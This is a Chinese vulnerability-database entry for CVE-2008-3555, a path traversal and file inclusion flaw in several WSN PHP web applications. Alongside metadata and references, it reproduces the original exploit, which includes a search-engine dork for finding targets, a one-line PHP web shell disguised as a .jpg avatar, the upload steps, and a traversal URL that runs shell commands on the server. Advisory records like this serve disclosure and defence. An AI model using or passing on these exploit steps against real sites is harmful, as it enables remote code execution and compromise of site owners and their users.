WSN多个Web应用系统 index.php 文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115859 漏洞类型 路径遍历
发布时间 2008-08-06 更新时间 2008-08-08
CVE编号 CVE-2008-3555 CNNVD-ID CNNVD-200808-104
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/6208
https://www.securityfocus.com/bid/84889
https://cxsecurity.com/issue/WLB-2008080125
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200808-104
|漏洞详情
WSN多个Web系统(WSNForum4.1.43以及之前的版本,Gallery4.1.30以及之前的版本,KnowledgeBase(WSNKB)4.1.36以及之前的版本,Links4.1.44以及之前的版本,Classifieds4.1.30之前的版本)中的index.php存在目录遍历漏洞。远程攻击者可以借助TID参数中的"..",放入和运行任意的本地文件。上传一个包含PHP序列的.jpg文件就可以触发该漏洞。
|漏洞EXP
Author: otmorozok428, http://forum.antichat.ru 

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability: 

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

# milw0rm.com [2008-08-06]
|受影响的产品
Wsn Links 4.1.44 Wsn Links 4.1.43 Wsn Links 4.1.42 Wsn Links 4.1.41 Wsn Links 4.1.40 Wsn Links 4.1.39 Wsn Links 4.1.38 Wsn Links 4.1.37
|参考资料

来源:XF
名称:wsn-tid-file-include(44236)
链接:http://xforce.iss.net/xforce/xfdb/44236
来源:MILW0RM
名称:6208
链接:http://www.milw0rm.com/exploits/6208
来源:SREASON
名称:4120
链接:http://securityreason.com/securityalert/4120
来源:SECUNIA
名称:31392
链接:http://secunia.com/advisories/31392